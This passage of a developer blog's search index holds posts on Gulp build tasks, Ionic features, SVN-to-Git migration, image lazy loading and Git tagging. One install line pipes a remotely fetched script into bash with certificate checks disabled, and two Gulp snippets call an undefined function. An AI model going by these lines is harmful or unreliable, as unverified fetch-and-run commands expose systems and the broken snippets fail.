@julienrenaux:\nhttps://github.com/shprink https://twitter.com/julienrenaux https://www.facebook.com/julienrenauxblog Full source at https://github.com/shprink/gulp-examples MIT License, https://github.com/shprink/gulp-examples/blob/master/LICENSE */ [/text]\ngulpfile.js:\n// including plugins var gulp = require(\u0026#39;gulp\u0026#39;) , fs = require(\u0026#39;fs\u0026#39;) , concat = require(\u0026#34;gulp-concat\u0026#34;) , header = require(\u0026#34;gulp-header\u0026#34;); // functions // Get copyright using NodeJs file system var getCopyright = function () { return fs.readFileSync(\u0026#39;Copyright\u0026#39;); }; // task gulp.task(\u0026#39;concat-copyright\u0026#39;, function () { gulp.src(\u0026#39;./JavaScript/*.js\u0026#39;) // path to your files .pipe(concat(\u0026#39;concat-copyright.js\u0026#39;)) // concat and name it \u0026#34;concat-copyright.js\u0026#34; .pipe(header(getCopyright())) .pipe(gulp.dest(\u0026#39;path/to/destination\u0026#39;)); }); Run:\ngulp concat-copyright Add copyright with version Using gulp-header and Node\u0026rsquo;s file system\nnpm install --save-dev gulp-header Copyright [text] /* Gulp Examples by @julienrenaux:\nhttps://github.com/shprink https://twitter.com/julienrenaux https://www.facebook.com/julienrenauxblog Version: \u0026lt;%= version %\u0026gt; Full source at https://github.com/shprink/gulp-examples MIT License, https://github.com/shprink/gulp-examples/blob/master/LICENSE */ [/text]\nVersion [text] 1.0.0 [/text]\ngulpfile.js:\n// including plugins var gulp = require(\u0026#39;gulp\u0026#39;) , fs = require(\u0026#39;fs\u0026#39;) , concat = require(\u0026#34;gulp-concat\u0026#34;) , header = require(\u0026#34;gulp-header\u0026#34;); // functions // Get version using NodeJs file system var getVersion = function () { return fs.readFileSync(\u0026#39;Version\u0026#39;); }; // Get copyright using NodeJs file system var getCopyright = function () { return fs.readFileSync(\u0026#39;Copyright\u0026#39;); }; // task gulp.task(\u0026#39;concat-copyright-version\u0026#39;, function () { gulp.src(\u0026#39;./JavaScript/*.js\u0026#39;) .pipe(concat(\u0026#39;concat-copyright-version.js\u0026#39;)) // concat and name it \u0026#34;concat-copyright-version.js\u0026#34; .pipe(header(getCopyrightVersion(), {version: getVersion()})) .pipe(gulp.dest(\u0026#39;path/to/destination\u0026#39;)); }); Run:\ngulp concat-copyright-version Mix them up (Lint, Concat, Compile, Minify etc.) The purpose of this task is to mix the previous tasks into just one.\nCopyright [text] /* Gulp Examples by @julienrenaux:\nhttps://github.com/shprink https://twitter.com/julienrenaux https://www.facebook.com/julienrenauxblog Version: \u0026lt;%= version %\u0026gt; Full source at https://github.com/shprink/gulp-examples MIT License, https://github.com/shprink/gulp-examples/blob/master/LICENSE */ [/text]\nVersion [text] 1.0.0 [/text]\ngulpfile.js:\n// including plugins var gulp = require(\u0026#39;gulp\u0026#39;) , fs = require(\u0026#39;fs\u0026#39;) , coffeelint = require(\u0026#34;gulp-coffeelint\u0026#34;) , coffee = require(\u0026#34;gulp-coffee\u0026#34;) , uglify = require(\u0026#34;gulp-uglify\u0026#34;) , concat = require(\u0026#34;gulp-concat\u0026#34;) , header = require(\u0026#34;gulp-header\u0026#34;); // functions // Get version using NodeJs file system var getVersion = function () { return fs.readFileSync(\u0026#39;Version\u0026#39;); }; // Get copyright using NodeJs file system var getCopyright = function () { return fs.readFileSync(\u0026#39;Copyright\u0026#39;); }; // task gulp.task(\u0026#39;bundle-one\u0026#39;, function () { gulp.src(\u0026#39;./CoffeeScript/*.coffee\u0026#39;) // path to your files .pipe(coffeelint()) // lint files .pipe(coffeelint.reporter(\u0026#39;fail\u0026#39;)) // make sure the task fails if not compliant .pipe(concat(\u0026#39;bundleOne.js\u0026#39;)) // concat files .pipe(coffee()) // compile coffee .pipe(uglify()) // minify files .pipe(header(getCopyrightVersion(), {version: getVersion()})) // Add the copyright .pipe(gulp.dest(\u0026#39;path/to/destination\u0026#39;)); }); Run:\ngulp bundle-one Tasks automation Using gulp.watch you can easily automate any tasks when files are modified. It is really convenient because you do not have to run single tasks by hand every time a file is modified, and therefore your code is always up to date.\n// including plugins var gulp = require(\u0026#39;gulp\u0026#39;); // task gulp.task(\u0026#39;watch-coffeescript\u0026#39;, function () { gulp.watch([\u0026#39;./CoffeeScript/*.coffee\u0026#39;], [\u0026#39;compile-coffee\u0026#39;]); }); Run:\nNow run the task:\ngulp watch-coffeescript and see what happens when you modify one of the source file.\n","permalink":"https://julienrenaux.fr/2014/05/25/introduction-to-gulp-js-with-practical-examples/","tags":[{"LinkTitle":"NodeJS","RelPermalink":"/tags/nodejs/"},{"LinkTitle":"GulpJS","RelPermalink":"/tags/gulpjs/"}],"title":"Introduction to Gulp.js with practical examples"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"Ionic Framework is one of the best framework for developing hybrid mobile apps with HTML5. Based on AngularJS the set of available features is tremendous. This post presents, with examples, some of the best hidden features provided.\nScroll Scroll documentation\nInfinite Scroll The ionInfiniteScroll directive allows you to call a function whenever the user gets to the bottom of the page or near the bottom of the page.\n[codepen_embed height=\u0026ldquo;268\u0026rdquo; theme_id=\u0026ldquo;5820\u0026rdquo; slug_hash=\u0026ldquo;jukJh\u0026rdquo; default_tab=\u0026ldquo;result\u0026rdquo; user=\u0026ldquo;shprink\u0026rdquo;]See the Pen Infinite Scroll: 1.0.0-beta.14 by Julien Renaux (@shprink) on CodePen.[/codepen_embed]\nList List documentation\nCollection repeat The collection-repeat directive is a directive that allows you to render lists with thousands of items in them, and experience little to no performance penalty.\n[codepen_embed height=\u0026ldquo;268\u0026rdquo; theme_id=\u0026ldquo;5820\u0026rdquo; slug_hash=\u0026ldquo;HoIDJ\u0026rdquo; default_tab=\u0026ldquo;result\u0026rdquo; user=\u0026ldquo;shprink\u0026rdquo;]See the Pen collection-repeat: 1.0.0-beta.14 by Julien Renaux (@shprink) on CodePen.[/codepen_embed]\nGesture $ionicGesture documentation\nEvents The gesture service has only two methods, on adds an event listener for an DOM element and off removes it. While AngularJS ngTouch provides only three touch events (ngClick, ngSwipeLeft and ngSwipeRight) $ionicGesture provides dozens (hold, tap, doubletap, drag, dragstart etc.).\n[codepen_embed height=\u0026ldquo;268\u0026rdquo; theme_id=\u0026ldquo;5820\u0026rdquo; slug_hash=\u0026ldquo;txliu\u0026rdquo; default_tab=\u0026ldquo;result\u0026rdquo; user=\u0026ldquo;shprink\u0026rdquo;]See the Pen Ionic $ionicGesture example: 1.0.0-beta.14 by Julien Renaux (@shprink) on CodePen.[/codepen_embed]\nDom manipulation DomUtil documentation\nIf you are accustomed to AngularJS I am sure that you experienced some difficulties when manipulating the DOM. JQlite helps but is itself very limited. Ionic provides some methods to help you deal with it.\nionic.DomUtil.ready Call a function when the DOM is ready, or if it is already ready call the function immediately.\n[codepen_embed height=\u0026ldquo;268\u0026rdquo; theme_id=\u0026ldquo;5820\u0026rdquo; slug_hash=\u0026ldquo;BxufK\u0026rdquo; default_tab=\u0026ldquo;result\u0026rdquo; user=\u0026ldquo;shprink\u0026rdquo;]See the Pen ionic.DomUtil.ready Example by Julien Renaux (@shprink) on CodePen.[/codepen_embed]\nionic.DomUtil.getParentWithClass Returns the closest parent of element matching the className, or null.\n[codepen_embed height=\u0026ldquo;268\u0026rdquo; theme_id=\u0026ldquo;5820\u0026rdquo; slug_hash=\u0026ldquo;lDrpb\u0026rdquo; default_tab=\u0026ldquo;result\u0026rdquo; user=\u0026ldquo;shprink\u0026rdquo;]See the Pen ionic.DomUtil.getParentWithClass Example: 1.0.0-beta.14 by Julien Renaux (@shprink) on CodePen.[/codepen_embed]\nUtilities ionic.throttle Only call a function once in the given interval. In this example the function should be called half as many as we tried.\n[codepen_embed height=\u0026ldquo;268\u0026rdquo; theme_id=\u0026ldquo;5820\u0026rdquo; slug_hash=\u0026ldquo;iefAE\u0026rdquo; default_tab=\u0026ldquo;result\u0026rdquo; user=\u0026ldquo;shprink\u0026rdquo;]See the Pen Ionic Throttle example: 1.0.0-beta.14 by Julien Renaux (@shprink) on CodePen.[/codepen_embed]\nionic.debounce Only call a function once in the given interval, the timer is reset on every call. In this example the function should never be called.\n[codepen_embed height=\u0026ldquo;268\u0026rdquo; theme_id=\u0026ldquo;5820\u0026rdquo; slug_hash=\u0026ldquo;yzrsD\u0026rdquo; default_tab=\u0026ldquo;result\u0026rdquo; user=\u0026ldquo;shprink\u0026rdquo;]See the Pen Ionic Debounce example: 1.0.0-beta.14 by Julien Renaux (@shprink) on CodePen.[/codepen_embed]\nionic.Utils.arrayMove Really useful function that manipulates array items position.\n[codepen_embed height=\u0026ldquo;268\u0026rdquo; theme_id=\u0026ldquo;5820\u0026rdquo; slug_hash=\u0026ldquo;HghBw\u0026rdquo; default_tab=\u0026ldquo;result\u0026rdquo; user=\u0026ldquo;shprink\u0026rdquo;]See the Pen Ionic arrayMove example: 1.0.0-beta.14 by Julien Renaux (@shprink) on CodePen.[/codepen_embed]\nTabs Starting from ionic beta.14 we can select the position of the tabs through configuration.\nTabs top .config(function($ionicConfigProvider){ $ionicConfigProvider.tabs.position(\u0026#39;top\u0026#39;); }) [codepen_embed height=\u0026ldquo;268\u0026rdquo; theme_id=\u0026ldquo;5820\u0026rdquo; slug_hash=\u0026ldquo;qlECF\u0026rdquo; default_tab=\u0026ldquo;result\u0026rdquo; user=\u0026ldquo;shprink\u0026rdquo;]See the Pen Tabs Top: 1.0.0-beta.14 by Julien Renaux (@shprink) on CodePen.[/codepen_embed]\nTabs bottom .config(function($ionicConfigProvider){ $ionicConfigProvider.tabs.position(\u0026#39;bottom\u0026#39;); }) [codepen_embed height=\u0026ldquo;268\u0026rdquo; theme_id=\u0026ldquo;5820\u0026rdquo; slug_hash=\u0026ldquo;emXyjV\u0026rdquo; default_tab=\u0026ldquo;result\u0026rdquo; user=\u0026ldquo;shprink\u0026rdquo;]See the Pen Tabs bottom: 1.0.0-beta.14 by Julien Renaux (@shprink) on CodePen.[/codepen_embed]\nDelegation Delegation allow you to have several instances of the same component within the same view. You have this capability on ion-side-menus, ion-tabs,ion-scroll ion-content, ion-list and ion-slide-box using the delegate-handle directive attribute.\n[codepen_embed height=\u0026ldquo;268\u0026rdquo; theme_id=\u0026ldquo;5820\u0026rdquo; slug_hash=\u0026ldquo;CsBhf\u0026rdquo; default_tab=\u0026ldquo;result\u0026rdquo; user=\u0026ldquo;shprink\u0026rdquo;]See the Pen Ionic Side Menu delegation: 1.0.0-beta.14 by Julien Renaux (@shprink) on CodePen.[/codepen_embed]\n","permalink":"https://julienrenaux.fr/2014/05/09/ionic-framework-features-you-may-have-missed/","tags":[{"LinkTitle":"AngularJS","RelPermalink":"/tags/angularjs/"},{"LinkTitle":"Ionic","RelPermalink":"/tags/ionic/"}],"title":"Ionic Framework features you may have missed"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"Once upon a time I started a new challenge within a new company. This company grew up so fast that the development processes and tools were not suitable anymore. Most projects started with only one developer and, at the time the company chose Subversion (SVN) as the main Concurrent Versions System (CVS) and a classic Waterfall process (linear) to manage projects. This choices froze things for years..\nComing from a large team (10 members) in a totally Agile environment the gap I faced was kind of huge. The lack of productivity that the company faced resulted from those ancient choices. A colleague and I decided to change things by introducing several development tools such as Git , Gitlab (GitHub alike), Jenkins (Continuous Integration), Composer (Dependency Manager for PHP) and Scrum (Agile development framework).\nThe SVN to GIT transition can be pretty hard to handle, depending on the size of your company, the number of repositories at stake and the number branches, tags created\u0026hellip;\nTo avoid losing time and money, things have to be well prepared. In this post I will share my experience and some tricks to lead successfully the SVN to GIT transition.\nWhy companies still use Subversion? Despite the popularity of GIT nowadays there is still a tremendous amount of company that still use Subversion\nGit is not better than Subversion. But is also not worse. It\u0026rsquo;s different. There are many reasons possible why companies still use Subversion:\nSubversion’s initial release was in 2000 while Git was in 2005. Any Software Company created before 2005 might therefore have used Subversion (It is the case of eBay, inc. for example) Subversion is less complex and suit better developers working alone. Indeed Git adds complexity. Two modes of creating repositories, checkout vs. clone, commit vs. push\u0026hellip; You have to know which commands work locally and which work with \u0026ldquo;the remote\u0026rdquo; The company grew up too quickly: The lack of time and money that most start-ups face can lead to underestimating developers needs and making unreasonable architecture choices. The fear of changing well explained by Kurt Lewin being a three-stage process: Unfreezing: dismantling the existing \u0026ldquo;mind set\u0026rdquo;, defense mechanisms have to be bypassed Movement: When the change occurs, this is typically a period of confusion and transition Freezing: The new mindset is crystallizing and one\u0026rsquo;s comfort level is returning to previous levels What does Git do better than SVN? I invite you to watch this video about Linus Torvalds (Git creator and Linux project\u0026rsquo;s coordinator) tech talk at Google.\nIf you like using CVS, you should be in some kind of mental institution or somewhere else. Linus Torvalds\nGit is Scalable Git is perfect to handle medium to large projects because it is scalable, the more files and developers involved in your project the more you can leverage from it.\nGit is Distributed Git is a DVCS (Distributed Version Control System), meaning that every user has a complete copy of the repository data (including history) stored locally (While SVN has one Central repository). Developers can therefore commit off-line, and synchronize their work to distant repositories when back online.\nGit branching and merging support is a lot better SVN isn\u0026rsquo;t branch-centric while Git is designed around the idea of branching. Making branches, using branches, merging two branches together, merging three branches together, merging branches from local and remote repositories together - Git is good at branches.\nGit Flow Git-Flow is a set of git extensions that handle most high-level repository operations (feature, hotfix and release) based on Vincent Driessen\u0026rsquo;s branching model. I recommend using this tool but only if you understand Git basic commands (git branch, git checkout, git pull etc.) otherwise in some cases you will get lost.\nOSX Installation $ brew install git-flow Linux Installation $ apt-get install git-flow Windows (Cygwin) Installation $ wget -q -O - --no-check-certificate https://github.com/nvie/gitflow/raw/develop/contrib/gitflow-installer.sh | bash Git is Speed Git operations are much faster than on SVN. All operations (except for push and pull) are done locally, there is therefore no network latency involved for most of the daily routine commands (git diff, git log, git commit, git branch, git merge etc.). A Git repository is also around 30x smaller than a SVN repository which is not negligible when cloning (backup).\nPreparation Teaching Being on GitHub does not mean being competent at GIT!\nTeaching Git to developers is essential. Git can be hard to learn, especially if you are used to SVN. You need to insist on what\u0026rsquo;s better than SVN and the things that you now can do with Git that you could not with SVN. I have seen developers on Github that were lost using Git in a work environment, being on GitHub does not mean being competent at GIT!\nHere is some of the slides I presented to developers:\n[iframely]http://www.slideshare.net/julienrenaux/git-presentation-31666204[/iframely]\nCreating a authors.txt file to map SVN users to Git users. SVN and Git do not store the same way the developer identity when committing. SVN stores the username while Git stores the full name and the email address.\nTherefore prior to migrating to Git, you need to create an author mapping file that has the following format:\nfdeveloper = First Developer \u0026lt;first.developer@company.com\u0026gt; sdeveloper = Second Developer \u0026lt;second.developer@company.com\u0026gt; tdeveloper = Third Developer \u0026lt;third.developer@company.com\u0026gt; etc.. If you have missed this step and already migrated to Git, don’t worry, we still can rewrite history using the command git filter-branch!\ngit filter-branch --commit-filter \u0026#39; if [ \u0026#34;$GIT_COMMITTER_NAME\u0026#34; = \u0026#34;fdeveloper\u0026#34; ]; // SVN username then GIT_COMMITTER_NAME=\u0026#34;First Developer\u0026#34;; GIT_AUTHOR_NAME=\u0026#34;First Developer\u0026#34;; GIT_COMMITTER_EMAIL=\u0026#34;first.developer@company.com\u0026#34;; GIT_AUTHOR_EMAIL=\u0026#34;first.developer@company.com\u0026#34;; git commit-tree \u0026#34;$@\u0026#34;; else git commit-tree \u0026#34;$@\u0026#34;; fi\u0026#39; HEAD This command will go through every single commit and if necessary change the developer information.\nUsing this command could be pretty slow depending of the number of commit involved.\nMigrating git svn is a simple conduit for changesets between Subversion and git. It provides a bidirectional flow of changes between a Subversion and a git repository.\nClone For a complete transparent transition (importing commit history) you will need to use GitSvn\n$ git svn clone -A ~/Desktop/authors.txt svn://IP@/Project/trunk . You can also tell git svn not to include the metadata that Subversion normally imports, by passing \u0026ndash;no-metadata\n$ git svn clone -A ~/Desktop/authors.txt svn://IP@/Project/trunk . --no-metadata Migrate tags This takes the references that were remote branches that started with tag/ and makes them real (lightweight) tags.\n$ git for-each-ref refs/remotes/tags | cut -d / -f 4- | grep -v @ | while read tagname; do git tag \u0026#34;$tagname\u0026#34; \u0026#34;tags/$tagname\u0026#34;; git branch -r -d \u0026#34;tags/$tagname\u0026#34;; done Conclusion Do not underestimate the unwillingness of your coworkers!\nIf you want to succeed your migration I suggest you spend a lot of time teaching Git to developers, confront them with real cases and things that Git do better than SVN, do not underestimate the unwillingness of your coworkers!\nOnce everybody is up to date with Git, then you can start working on your migration. If you use GitSvn things should be pretty smooth but do not forget to make backups, just in case ;)\nSources https://www.kernel.org/pub/software/scm/git/docs/git-svn.html http://git-scm.com/book/en/Git-and-Other-Systems-Migrating-to-Git http://stackoverflow.com/questions/871/why-is-git-better-than-subversion https://git.wiki.kernel.org/index.php/GitSvnComparison http://en.wikipedia.org/wiki/Kurt_Lewin ","permalink":"https://julienrenaux.fr/2014/02/28/leading-the-svn-to-git-migration/","tags":[{"LinkTitle":"Git","RelPermalink":"/tags/git/"},{"LinkTitle":"Svn","RelPermalink":"/tags/svn/"}],"title":"Leading the SVN to Git migration"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"Nowadays with the device (mobile, tablet, desktop etc.) and connectivity diversity (3G, 4G etc.) that we know, serving an optimized information to specific environments is paramount (though not that easy).\nMany techniques exist to answer performance issues, especially when it comes to images. Indeed images are often the biggest resource of a Web page and therefore can be the limiting factor in obtaining an acceptable page loading time.\nHow to optimize the images loading? Image loading can be optimized in many ways but the“lazy loading\u0026quot; and “multiserving images\u0026quot; techniques are among the most popular.\nLazy loading Loads only what\u0026rsquo;s necessary Lazy loading allows your Web application to defer image loading until images are scrolled to. That way the page loading time decreases considerably.\nThis concept is far from being new but we still see a lot of Websites not using it. For instance this page lists a tremending amount of images: The loading time is greater than 30 seconds and the page size is greater than 19Mb…\nKnowing that just one second delay in page-load can cause up to 7% loss in customer conversions and decrease customer satisfaction by 16%, you understand how important performance can be for your audience.\nInteresting Lazy loading plugins Lazy Load Plugin for jQuery Unveil.js Multiserving Images serves different image versions to different devices The concept of Responsive design has recently spread widely with the emergence of CSS Frameworks such as Bootstrap or Foundation. Adapting your Web page content to any type of screen as become vital. For images the problem is not that easy as there is no HTML markup that allows you to load a different version of an image on different device. We still rely on the src attribute that is unique.\nTo resolve this very problem, some hacks exist. You can for example use CSS media queries to load a different version of an image using background-image property on a simple div or span.\n@media (min-width: 601px) { #yourImage { background-image:url(\u0026#39;large.png\u0026#39;) } } @media (max-width: 600px) { #yourImage { background-image:url(\u0026#39;small.png\u0026#39;) } } You can also use some plugins that allow you to specify several src attributes (one for any type of device you want):\n\u0026lt;img alt=\u0026#39;kitten!\u0026#39; data-src-base=\u0026#39;demo/images/\u0026#39; data-src=\u0026#39;\u0026lt;480:smallest.jpg,\u0026lt;768:small.jpg, \u0026lt;960:medium.jpg, \u0026gt;960:big.jpg\u0026#39; /\u0026amp;amp;gt; Interesting Multiserving Images plugins responsive-images.js andmag.se BttrLazyLoading Responsive Lazy Loading plugin for JQuery There are many open source projects that tackle both problematic (Lazy loading and Responsivity) but few at the same time. BttrLazyLoading does!\nBttrLazyLoading is a Jquery plugin that allows your Web application to only load images within the viewport. It also allows you having different versions of an image for four different screen sizes.\nPresentation \u0026amp; API Demos Lazy loading BttrLazyLoading allows your Web application to defer image loading until images are scrolled to. That way the page loading time decreases considerably.\nResponsive BttrLazyLoading makes sure that you always have the appropriate image loaded for any type of screen: phones (\u0026lt;768px), tablets (?768px), desktops (?992px) and large Desktops (?1200px).\nRetina ready BttrLazyLoading uses a naming convention @2x to display Retina images when the option is enabled.\nCustomizable With more than 10 options (such as animations or background color) and 4 events, BttrLazyLoading is fully customizable to adapt to most needs.\nDemo To fully appreciate the responsivity of the following images, try to resize your browser or use a different device.\rSee the Pen BttrLazyLoading 1.0.8 Sandbox issues by Julien Renaux (@shprink) on CodePen.\rSources http://www.vanseodesign.com/web-design/responsive-image-issues/ http://mobile.smashingmagazine.com/2013/09/16/responsive-images-performance-problem-case-study/ http://blog.cloudfour.com/responsive-web-design-is-solid-gold/ ","permalink":"https://julienrenaux.fr/2014/01/28/web-page-performance-how-to-optimize-image-loading/","tags":[{"LinkTitle":"Performance","RelPermalink":"/tags/performance/"}],"title":"Web page performance: How to optimize image loading?"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"Internet is full of useless and/or funny plugins that made my day several times in the past. Whatever dumb things you can think of, you can be sure that someone already made a plugin for it! Here is my top 5 useless but funny JavaScript plugins:\n1. Adult Cat Finder With Adult Cat Finder, you\u0026rsquo;re never more than one click away from chatting with a hot, local cat in your area!\nWithout any doubt my favorite plugin of all (even though it is not a proper JavaScript plugin as it uses an iframe to include the chat), Adult Cat Finder inserts a Facebook alike chat in your Web page to discuss with a cute cat.\n2. Fartscroll.js Everyone farts. And now your web pages can too.\nFartscroll is a JavaScript plugin created by theonion.com the satirical Website. It created an incredible buzz at the time of the release in early 2013. Fartscroll simply \u0026ldquo;release\u0026rdquo; fart sounds when you scroll Web pages\u0026hellip; a classic!\n3. Raptorize An awesome jQuery plugin that unleahes a Raptor of Jurassic proportions.\nRaptorize is a jQuery plugin created by Zurb a company most known for the Foundation project (CSS Framework). It inserts a moving raptor on Web pages. Even though the purpose of this plugin is still unknown for me I appreciate the technical realization (Trigger on Konami code, raptor yell etc.). Good job!\n4. Fuckitjs FuckItJS uses state-of-the-art technology to make sure your JavaScript code runs whether your compiler likes it or not.\nProbably the less useful plugin of all Fuckitjs has the ability to prevent releasing JavaScript errors. Through a process known as Eval-Rinse-Reload-And-Repeat, FuckItJS repeatedly compiles your code, detecting errors and slicing those lines out of the script. The compilation result could be useless but is 100% bug free!\n5. Fool.js jQuery plugin that lets you play one or more fun practical jokes on an unsuspecting visitor, and it\u0026rsquo;s crazy easy to set up.\nFool.js is a collection of April Fools\u0026rsquo; day. With Fool.js you can rickroll your visitors, bomb them with annoying JavaScript alerts/confirm boxes and even crash your visitors\u0026rsquo; browser! Use with caution!\nWhat\u0026rsquo;s your Top 5? Share your \u0026ldquo;Top 5 useless but funny JavaScript plugins\u0026rdquo; with me by commenting.\n","permalink":"https://julienrenaux.fr/2014/01/15/top-5-useless-but-funny-javascript-plugins/","tags":[{"LinkTitle":"Javascript","RelPermalink":"/tags/javascript/"}],"title":"Top 5 useless but funny JavaScript plugins"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"With animate.css you do not have to worry about making your own cross browser animations anymore. Animate.css is great CCS animation library that has a large set of animations ready out the box.\nA must have for Front End developers ;)\nanimate.css is a bunch of cool, fun, and cross-browser animations for you to use in your projects. Great for emphasis, home pages, sliders, and general just-add-water-awesomeness.https://daneden.me/animate/ Installation Download the latest version and include .css to your page: \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;animate.min.css\u0026#34;\u0026gt;\nMore about Animate\u0026hellip; ","permalink":"https://julienrenaux.fr/2013/11/23/animate-css/","tags":[{"LinkTitle":"Animation","RelPermalink":"/tags/animation/"},{"LinkTitle":"Css","RelPermalink":"/tags/css/"}],"title":"Animate.css"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"This post also exist for: JQuery: Create a \"load more\" widget using PHP, Ajax, and jQuery Mootools: Create a \"load more\" widget using PHP, Ajax, Mootools, Bootstrap and Mustache.js\rDemo","permalink":"https://julienrenaux.fr/2013/10/27/create-a-load-more-widget-using-angularjs-ajax-and-bootstrap-3/","tags":[{"LinkTitle":"AngularJS","RelPermalink":"/tags/angularjs/"}],"title":"Create a \"load more\" widget using AngularJS, Ajax and Bootstrap 3"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"Now that you know How to automatically tag a Git repository an interesting command to know about is \u0026ldquo;How to automatically checkout the latest tag of a Git repository\u0026rdquo;. Let\u0026rsquo;s imagine that you want to automatically release a stable version of your product (that have dependencies or not) based on the latest version available on your repository.\nAn easy way to do it is to follow the following steps:\n# Get new tags from the remote $ git fetch --tags # Get the latest tag name $ latestTag=$(git describe --tags `git rev-list --tags --max-count=1`) # Checkout the latest tag $ git checkout $latestTag ","permalink":"https://julienrenaux.fr/2013/10/04/how-to-automatically-checkout-the-latest-tag-of-a-git-repository/","tags":[{"LinkTitle":"Git","RelPermalink":"/tags/git/"}],"title":"How to automatically checkout the latest tag of a Git repository"},{"categories":[],"content":"","permalink":"https://julienrenaux.fr/talks/","tags":[],"title":"How to automatically checkout the latest tag of a Git repository"},{"categories":[],"content":"","permalink":"https://julienrenaux.fr/manifest.json","tags":[],"title":""},{"categories":[],"content":"","permalink":"https://julienrenaux.fr/search/_index.de/","tags":[],"title":""},{"categories":[],"content":"","permalink":"https://julienrenaux.fr/search/_index.es/","tags":[],"title":""},{"categories":[],"content":"","permalink":"https://julienrenaux.fr/search/_index.fr/","tags":[],"title":""},{"categories":[],"content":"","permalink":"https://julienrenaux.fr/search/_index.hi/","tags":[],"title":""},{"categories":[],"content":"","permalink":"https://julienrenaux.fr/search/_index.jp/","tags":[],"title":""},{"categories":[],"content":"","permalink":"https://julienrenaux.fr/search/_index.nl/","tags":[],"title":""},{"categories":[],"content":"","permalink":"https://julienrenaux.fr/search/_index.pl/","tags":[],"title":""},{"categories":[],"content":"","permalink":"https://julienrenaux.fr/search/_index.ru/","tags":[],"title":""},{"categories":[],"content":"","permalink":"https://julienrenaux.fr/search/_index.zh-cn/","tags":[],"title":""}]